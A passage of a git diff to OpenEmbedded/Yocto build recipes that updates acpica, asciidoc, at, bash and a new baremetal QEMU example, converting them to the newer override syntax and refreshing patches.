+Power Interface Specification (ACPI). ACPICA code contains those portions of \
+ACPI meant to be directly integrated into the host OS as a kernel-resident \
+subsystem, and a small set of tools to assist in developing and debugging \
+ACPI tables."
+
+HOMEPAGE = "https://www.intel.com/content/www/us/en/developer/topic-technology/open/acpica/overview.html"
+SECTION = "console/tools"
+
+LICENSE = "Intel | BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=05eb845b15a27440410f456adc2ed082"
+
+COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
+
+DEPENDS = "m4-native flex-native bison-native"
+
+SRC_URI = "git://github.com/acpica/acpica;protocol=https;branch=master"
+SRCREV = "170fc3076a86777077637f10b05c32ac21ac13aa"
+
+S = "${WORKDIR}/git"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "acpixtract acpidump"
+
+EXTRA_OEMAKE = "CC='${CC}' \
+ OPT_CFLAGS=-Wall \
+ DESTDIR=${D} \
+ PREFIX=${prefix} \
+ INSTALLDIR=${bindir} \
+ INSTALLFLAGS= \
+ YACC=bison \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}' \
+ "
+
+do_install() {
+ oe_runmake install
+}
+
+# iasl*.bb is a subset of this recipe, so RREPLACE it
+PROVIDES = "iasl"
+RPROVIDES:${PN} += "iasl"
+RREPLACES:${PN} += "iasl"
+RCONFLICTS:${PN} += "iasl"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch b/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
deleted file mode 100644
index ca170db00f..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-If SGML_CATALOG_FILES is in the environment, pass --catalogs to xmllint and
-xsltproc. Also pass --nonet to xsltproc to detect future missing stylesheet
-problems.
-
-An earlier version of this patch was filed upstream at
-https://github.com/asciidoc/asciidoc-py3/issues/61 so depending on how that goes
-this could get merged.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/a2x.py b/a2x.py
-index 2d7699a..582d809 100755
---- a/a2x.py
-+++ b/a2x.py
-@@ -57,6 +57,10 @@ LYNX_OPTS = '-dump'
- W3M_OPTS = '-dump -cols 70 -T text/html -no-graph'
- XSLTPROC_OPTS = ''
-
-+if "SGML_CATALOG_FILES" in os.environ:
-+ XMLLINT += " --catalogs"
-+ XSLTPROC += " --catalogs"
-+
- ######################################################################
- # End of configuration file parameters.
- ######################################################################
-@@ -298,7 +302,7 @@ def exec_xsltproc(xsl_file, xml_file, dst_dir, opts = ''):
- cwd = os.getcwd()
- shell_cd(dst_dir)
- try:
-- shell('"%s" %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
-+ shell('%s %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
- finally:
- shell_cd(cwd)
-
-@@ -483,7 +487,7 @@ class A2X(AttrDict):
- self.asciidoc_opts += ' --doctype %s' % self.doctype
- for attr in self.attributes:
- self.asciidoc_opts += ' --attribute "%s"' % attr
--# self.xsltproc_opts += ' --nonet'
-+ self.xsltproc_opts += ' --nonet'
- if self.verbose:
- self.asciidoc_opts += ' --verbose'
- self.dblatex_opts += ' -V'
-@@ -634,7 +638,7 @@ class A2X(AttrDict):
- shell('"%s" --backend docbook -a "a2x-format=%s" %s --out-file "%s" "%s"' %
- (self.asciidoc, self.format, self.asciidoc_opts, docbook_file, self.asciidoc_file))
- if not self.no_xmllint and XMLLINT:
-- shell('"%s" --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
-+ shell('%s --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
-
- def to_xhtml(self):
- self.to_docbook()
diff --git a/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb b/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb
new file mode 100644
index 0000000000..e112eb513d
--- /dev/null
+++ b/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
+DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
+articles, books and UNIX man pages."
+
+HOMEPAGE = "http://asciidoc.org/"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=aaee33adce0fc7cc40fee23f82f7f101 \
+ file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ "
+
+SRC_URI = "git://github.com/asciidoc/asciidoc-py;protocol=https;branch=main"
+SRCREV = "545b79b8d7dae70d12bf0657359bdd36de0c5c26"
+
+DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+
+S = "${WORKDIR}/git"
+
+# Tell xmllint where to find the DocBook XML catalogue, because right now it
+# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
+export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
+
+inherit setuptools3
+CLEANBROKEN = "1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
diff --git a/meta/recipes-extended/asciidoc/asciidoc_9.0.1.bb b/meta/recipes-extended/asciidoc/asciidoc_9.0.1.bb
deleted file mode 100644
index 2f841de065..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc_9.0.1.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
-DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
-articles, books and UNIX man pages."
-
-HOMEPAGE = "http://asciidoc.org/"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=4e5d1baf6f20559e3bec172226a47e4e \
- file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 "
-
-SRC_URI = "git://github.com/asciidoc/asciidoc-py3;protocol=https \
- file://auto-catalogs.patch"
-SRCREV = "fce6bd87fbdef5e510310464b02a75fb32f72f74"
-
-DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-
-S = "${WORKDIR}/git"
-
-# Tell xmllint where to find the DocBook XML catalogue, because right now it
-# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
-export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
-
-# Not using automake
-inherit autotools-brokensep
-CLEANBROKEN = "1"
-
-# target and nativesdk needs python3, but for native we can use the host.
-RDEPENDS_${PN} += "python3"
-RDEPENDS_remove_class-native = "python3"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
index 7fdecc7fd1..fd57f94cd5 100644
--- a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
+++ b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
@@ -18,21 +18,21 @@ Signed-off-by: Dengke Du <dengke.du@windriver.com>
parsetime.y | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
-diff --git a/parsetime.y b/parsetime.y
-index 7005e88..324e6d3 100644
---- a/parsetime.y
-+++ b/parsetime.y
-@@ -8,6 +8,9 @@
-
- #define YYDEBUG 1
+Index: at-3.2.1/parsetime.y
+===================================================================
+--- at-3.2.1.orig/parsetime.y
++++ at-3.2.1/parsetime.y
+@@ -14,6 +14,9 @@
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+ #endif
+#define is_leap_year(y) \
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+
struct tm exectm;
static int isgmt;
- static int yearspec;
-@@ -217,8 +220,8 @@ date : month_name day_number
+ static char *tz = NULL;
+@@ -230,8 +233,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -43,7 +43,7 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
-@@ -261,8 +264,8 @@ date : month_name day_number
+@@ -274,8 +277,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -54,6 +54,3 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
---
-2.8.1
-
diff --git a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
index d5ef0032be..11023bdf52 100644
--- a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
+++ b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
@@ -10,11 +10,11 @@ update the Copyright file information to reflect the replaced files.
Date: 2010/08/31
Nitin A Kamble nitin.a.kamble@intel.com
-Index: at-3.1.12/Copyright
+Index: at-3.2.1/Copyright
===================================================================
---- at-3.1.12.orig/Copyright
-+++ at-3.1.12/Copyright
-@@ -31,10 +31,10 @@ The files posixtm.c and posixtm.h have t
+--- at-3.2.1.orig/Copyright
++++ at-3.2.1/Copyright
+@@ -34,10 +34,10 @@ The files posixtm.c and posixtm.h have t
Copyright (C) 1989, 1990, 1991, 1998, 2000, 2001, 2002, 2003, 2004,
2005, 2006, 2007 Free Software Foundation Inc.
diff --git a/meta/recipes-extended/at/at/fix_parallel_build_error.patch b/meta/recipes-extended/at/at/fix_parallel_build_error.patch
deleted file mode 100644
index 30d2324126..0000000000
--- a/meta/recipes-extended/at/at/fix_parallel_build_error.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 24ef2a6544f9c7ec01bc7ae73dffa2974a1e251d Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 5 Dec 2018 09:46:22 +0800
-Subject: [PATCH] fix parallel build error
-
-make -j was failing sometimesa like this
-| ccache i586-poky-linux-gcc -march=i586 --sysroot=/home/nitin/build/build0/tmp/sysroots/i586-poky-linux -I. -fexpensive-optimizations -fomit-frame-pointer -frename-registers -O2 -ggdb -feliminate-unused-debug-types -o atd atd.o daemon.o -lfl -lpam -Wl,-O1 -Wl,--as-needed
-| parsetime.l:5:19: fatal error: y.tab.h: No such file or directory
-| compilation terminated.
-| make: *** [lex.yy.o] Error 1
-| make: *** Waiting for unfinished jobs....
-
-Fixed the issue by adding a dependency in the makefile.
-Nitin <nitin.a.kamble@intel.com>
-2010/09/02
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- Makefile.in | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/Makefile.in b/Makefile.in
-index 4c11913..18ecc23 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -83,6 +83,8 @@ y.tab.c y.tab.h: parsetime.y
- lex.yy.c: parsetime.l
- $(LEX) -i parsetime.l
-
-+parsetime.l: y.tab.h
-+
- atd.service: atd.service.in
- cat $< | sed -e 's![@]sbindir[@]!$(sbindir)!g' | sed -e 's![@]atjobdir[@]!$(atjobdir)!g' > $@
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/at/at/makefile-fix-parallel.patch b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
index d6056dceff..adb8652053 100644
--- a/meta/recipes-extended/at/at/makefile-fix-parallel.patch
+++ b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
@@ -15,11 +15,11 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Makefile | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
-Index: at-3.1.20/Makefile.in
+Index: at-3.2.1/Makefile.in
===================================================================
---- at-3.1.20.orig/Makefile.in
-+++ at-3.1.20/Makefile.in
-@@ -76,7 +76,9 @@ at: $(ATOBJECTS)
+--- at-3.2.1.orig/Makefile.in
++++ at-3.2.1/Makefile.in
+@@ -77,7 +77,9 @@ at: $(ATOBJECTS)
atd: $(RUNOBJECTS)
$(CC) $(LDFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB) $(SELINUXLIB)
diff --git a/meta/recipes-extended/at/at_3.1.23.bb b/meta/recipes-extended/at/at_3.1.23.bb
deleted file mode 100644
index b74882d342..0000000000
--- a/meta/recipes-extended/at/at_3.1.23.bb
+++ /dev/null
@@ -1,78 +0,0 @@
-SUMMARY = "Delayed job execution and batch processing"
-HOMEPAGE = "http://blog.calhariz.com/"
-DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
-the system load levels drop to a particular level."
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
-DEPENDS = "flex flex-native bison-native \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-
-PACKAGECONFIG ?= "\
- ${@bb.utils.contains('DISTRO_FEATURES', 'selinux', 'selinux', '', d)} \
-"
-
-PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
-
-RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
-"
-
-PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
-
-RCONFLICTS_${PN} = "atd"
-RREPLACES_${PN} = "atd"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20180825T090248Z/pool/main/a/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://fix_parallel_build_error.patch \
- file://posixtm.c \
- file://posixtm.h \
- file://file_replacement_with_gplv2.patch \
- file://atd.init \
- file://atd.service \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://makefile-fix-parallel.patch \
- file://0001-remove-glibc-assumption.patch \
- "
-
-PAM_SRC_URI = "file://pam.conf.patch \
- file://configure-add-enable-pam.patch"
-
-SRC_URI[md5sum] = "1cec945506b5ddf1d776c92c315fc581"
-SRC_URI[sha256sum] = "97450aa954aaa8a70218cc8e61a33df9fee9f86527e9f861de302fb7a3c81710"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/at/"
-
-EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
- --with-daemon_username=root \
- --with-daemon_groupname=root \
- --with-jobdir=/var/spool/at/jobs \
- --with-atspool=/var/spool/at/spool \
- ac_cv_header_security_pam_appl_h=${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', 'no', d)} "
-
-inherit autotools-brokensep systemd update-rc.d
-
-INITSCRIPT_NAME = "atd"
-INITSCRIPT_PARAMS = "defaults"
-
-SYSTEMD_SERVICE_${PN} = "atd.service"
-
-copy_sources() {
- cp -f ${WORKDIR}/posixtm.[ch] ${S}
-}
-do_patch[postfuncs] += "copy_sources"
-
-do_install () {
- oe_runmake -e "IROOT=${D}" install
-
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
-
- # install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/atd.service
-
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
- fi
-}
diff --git a/meta/recipes-extended/at/at_3.2.5.bb b/meta/recipes-extended/at/at_3.2.5.bb
new file mode 100644
index 0000000000..c0c876a644
--- /dev/null
+++ b/meta/recipes-extended/at/at_3.2.5.bb
@@ -0,0 +1,76 @@
+SUMMARY = "Delayed job execution and batch processing"
+HOMEPAGE = "http://blog.calhariz.com/"
+DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
+the system load levels drop to a particular level."
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
+DEPENDS = "flex flex-native bison-native \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+
+PACKAGECONFIG ?= "\
+ ${@bb.utils.contains('DISTRO_FEATURES', 'selinux', 'selinux', '', d)} \
+"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
+
+RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
+"
+
+PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
+
+RCONFLICTS:${PN} = "atd"
+RREPLACES:${PN} = "atd"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/a/at/${BPN}_${PV}.orig.tar.gz \
+ file://posixtm.c \
+ file://posixtm.h \
+ file://file_replacement_with_gplv2.patch \
+ file://atd.init \
+ file://atd.service \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://makefile-fix-parallel.patch \
+ file://0001-remove-glibc-assumption.patch \
+ "
+
+PAM_SRC_URI = "file://pam.conf.patch \
+ file://configure-add-enable-pam.patch"
+
+SRC_URI[sha256sum] = "bb066b389d7c9bb9d84a35738032b85c30cba7d949f758192adc72c9477fd3b8"
+
+EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
+ --with-daemon_username=root \
+ --with-daemon_groupname=root \
+ --with-jobdir=/var/spool/at/jobs \
+ --with-atspool=/var/spool/at/spool \
+ ac_cv_header_security_pam_appl_h=${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', 'no', d)} "
+
+inherit autotools-brokensep systemd update-rc.d
+
+INITSCRIPT_NAME = "atd"
+INITSCRIPT_PARAMS = "defaults"
+
+SYSTEMD_SERVICE:${PN} = "atd.service"
+
+do_patch[postfuncs] += "copy_posix_files"
+
+copy_posix_files() {
+ cp -f ${WORKDIR}/posixtm.[ch] ${S}
+}
+
+do_install () {
+ oe_runmake -e "IROOT=${D}" install
+
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
+
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/atd.service
+
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
+ fi
+ rm -f ${D}${datadir}/at/batch-job
+}
diff --git a/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
new file mode 100644
index 0000000000..6832ccc541
--- /dev/null
+++ b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
@@ -0,0 +1,72 @@
+SUMMARY = "Baremetal examples to work with the several QEMU architectures supported on OpenEmbedded"
+HOMEPAGE = "https://github.com/aehs29/baremetal-helloqemu"
+DESCRIPTION = "These are introductory examples to showcase the use of QEMU to run baremetal applications."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=39346640a23c701e4f459e05f56f4449"
+
+SRCREV = "db2bf750eaef7fc0832e13ada8291343bbcc3afe"
+PV = "0.1+git"
+
+SRC_URI = "git://github.com/ahcbb6/baremetal-helloqemu.git;protocol=https;branch=master"
+UPSTREAM_VERSION_UNKNOWN="1"
+
+S = "${WORKDIR}/git"
+
+# The following variables should be set to accomodate each application
+BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
+IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
+IMAGE_NAME_SUFFIX ?= ""
+
+# Baremetal-Image creates the proper wiring, assumes the output is provided in
+# binary and ELF format, installed on ${base_libdir}/firmware/ , we want a
+# package to be created since we might have some way of updating the baremetal
+# firmware from Linux
+inherit baremetal-image
+
+
+# startup code for x86 uses NASM syntax
+DEPENDS:qemux86:append = " nasm-native"
+
+# These parameters are app specific for this example
+# This will be translated automatically to the architecture and
+# machine that QEMU uses on OE, e.g. -machine virt -cpu cortex-a57
+# but the examples can also be run on other architectures/machines
+# such as vexpress-a15 by overriding the setting on the machine.conf
+COMPATIBLE_MACHINE = "qemuarmv5|qemuarm|qemuarm64|qemuriscv64|qemuriscv32|qemux86|qemux86-64"
+
+BAREMETAL_QEMUARCH ?= ""
+BAREMETAL_QEMUARCH:qemuarmv5 = "versatile"
+BAREMETAL_QEMUARCH:qemuarm = "arm"
+BAREMETAL_QEMUARCH:qemuarm64 = "aarch64"
+BAREMETAL_QEMUARCH:qemuriscv64 = "riscv64"
+BAREMETAL_QEMUARCH:qemuriscv32 = "riscv32"
+BAREMETAL_QEMUARCH:qemux86 = "x86"
+BAREMETAL_QEMUARCH:qemux86-64 = "x86-64"
+
+EXTRA_OEMAKE:append = " QEMUARCH=${BAREMETAL_QEMUARCH} V=1"
+
+# qemux86-64 uses a different Makefile
+do_compile:prepend:qemux86-64(){
+ cd x86-64
+}
+
+# Install binaries on the proper location for baremetal-image to fetch and deploy
+do_install(){
+ install -d ${D}/${base_libdir}/firmware
+ install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.bin ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin
+ install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.elf ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf
+}
+
+FILES:${PN} += " \
+ ${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin \
+ ${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf \
+"
+
+# qemux86-64 boots from iso rather than -kernel, create image to boot from
+do_image:append:qemux86-64(){
+ dd if=/dev/zero of=${B}/build/img.iso bs=1M count=10 status=none
+ dd if=${B}/build/stage1.bin of=${B}/build/img.iso bs=512 count=1 conv=notrunc
+ dd if=${B}/build/stage2.bin of=${B}/build/img.iso bs=512 seek=1 count=64 conv=notrunc
+ dd if=${B}/build/hello_baremetal_x86-64.bin of=${B}/build/img.iso bs=512 seek=65 conv=notrunc
+ install ${B}/build/img.iso ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.iso
+}
diff --git a/meta/recipes-extended/bash/bash.inc b/meta/recipes-extended/bash/bash.inc
index 1ebb33bdcd..e541161c75 100644
--- a/meta/recipes-extended/bash/bash.inc
+++ b/meta/recipes-extended/bash/bash.inc
@@ -1,12 +1,13 @@
SUMMARY = "An sh-compatible command language interpreter"
HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html"
+DESCRIPTION = "Bash is the GNU Project's Bourne Again SHell, a complete implementation of the IEEE POSIX and Open Group shell specification with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace expansion, and a slew of other features."
SECTION = "base/shell"
DEPENDS = "ncurses bison-native virtual/libiconv"
inherit autotools gettext texinfo update-alternatives ptest
-EXTRA_AUTORECONF += "--exclude=autoheader --exclude=aclocal"
+EXTRA_AUTORECONF += "--exclude=autoheader"
EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_offset=8"
# If NON_INTERACTIVE_LOGIN_SHELLS is defined, all login shells read the
@@ -14,18 +15,25 @@ EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_o
# This is what other major distros do. And this is what we wanted. See bug#5359 and bug#7137.
CFLAGS += "-DNON_INTERACTIVE_LOGIN_SHELLS"
-ALTERNATIVE_${PN} = "bash sh"
+# This can vary depending upon the host
+CFLAGS += "-DHEREDOC_PIPESIZE=65536"
+
+# Disable bracketed paste mode by default (enabled by default in bash 5.1). It
+# causes a lot of garbage in non-interactive shells
+CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0"
+
+ALTERNATIVE:${PN} = "bash sh"
ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash"
ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash"
ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh"
ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}"
ALTERNATIVE_PRIORITY = "100"
-RDEPENDS_${PN} += "base-files"
-RDEPENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
+RDEPENDS:${PN} += "base-files"
+RDEPENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " \
+RDEPENDS:${PN}-ptest:append:libc-glibc = " \
glibc-gconv-big5hkscs \
glibc-gconv-iso8859-1 \
glibc-utils \
@@ -38,7 +46,13 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = " \
CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}"
-do_compile_prepend() {
+do_configure:prepend () {
+ if [ ! -e ${S}/acinclude.m4 ]; then
+ cat ${S}/aclocal.m4 > ${S}/acinclude.m4
+ fi
+}
+
+do_compile:prepend() {
# Remove any leftover .build files. This ensures that bash always has the
# same version number and keeps builds reproducible
rm -f ${B}/.build
@@ -48,14 +62,20 @@ do_compile_ptest () {
oe_runmake buildtest
}
-do_install_append () {
+do_install:prepend () {
+ # Ensure determinism as this counter increases for each make call
+ rm -f ${B}/.build
+}
+
+do_install:append () {
# Move /usr/bin/bash to /bin/bash, if need
if [ "${base_bindir}" != "${bindir}" ]; then
mkdir -p ${D}${base_bindir}
mv ${D}${bindir}/bash ${D}${base_bindir}
fi
}
-do_install_append_class-target () {
+
+fix_absolute_paths () {
# Clean buildhost references in bashbug
sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e "s,-I${WORKDIR}/\S* ,,g" \
@@ -74,12 +94,24 @@ do_install_append_class-target () {
${D}${libdir}/bash/Makefile.inc
}
+do_install:append:class-target () {
+ fix_absolute_paths
+}
+
+do_install:append:class-nativesdk () {
+ fix_absolute_paths
+}
+
do_install_ptest () {
make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test
cp ${B}/Makefile ${D}${PTEST_PATH}
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ cp ${B}/version.h ${D}${PTEST_PATH}
+ cp ${S}/y.tab.[ch] ${D}${PTEST_PATH}
install -D ${WORKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests
sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's|${BUILD_LDFLAGS}||g' \
-e "s,${S},,g" -e "s,${B},,g" -e "s,${STAGING_DIR_NATIVE},,g" \
-e 's:${HOSTTOOLS_DIR}/::g' \
-e 's:${UNINATIVE_LOADER}:${base_bindir}/false:g' \
@@ -90,20 +122,22 @@ do_install_ptest () {
# hash
do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
}
PACKAGES += "${PN}-bashbug"
-FILES_${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
-FILES_${PN}-bashbug = "${bindir}/bashbug"
+FILES:${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
+FILES:${PN}-bashbug = "${bindir}/bashbug"
PACKAGE_BEFORE_PN += "${PN}-loadable"
-RDEPENDS_${PN}-loadable += "${PN}"
-FILES_${PN}-loadable += "${libdir}/bash/*"
+RDEPENDS:${PN}-loadable += "${PN}"
+FILES:${PN}-loadable += "${libdir}/bash/*"
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
+# Limit the RPROVIDES here to class target so that if usrmerge is enabled for nativesdk, it does not
+# include host system paths in /bin/
+RPROVIDES:${PN}:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
diff --git a/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch b/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch
new file mode 100644
index 0000000000..77d770b364
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch
@@ -0,0 +1,226 @@
+From 721d5be99eb37d31e48bd66d61808a66a4c5ab84 Mon Sep 17 00:00:00 2001
+From: Chet Ramey <chet.ramey@case.edu>
+Date: Mon, 30 Oct 2023 12:16:07 -0400
+Subject: [PATCH] changes to SIGINT handler while waiting for a child; skip
+ vertical whitespace after translating an integer
+
+Upstream-Status: Backport from
+[https://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=fe24a6a55e8850298b496c5b9d82f1866eba190e]
+
+[Adjust and drop some codes to be applicable the tree]
+
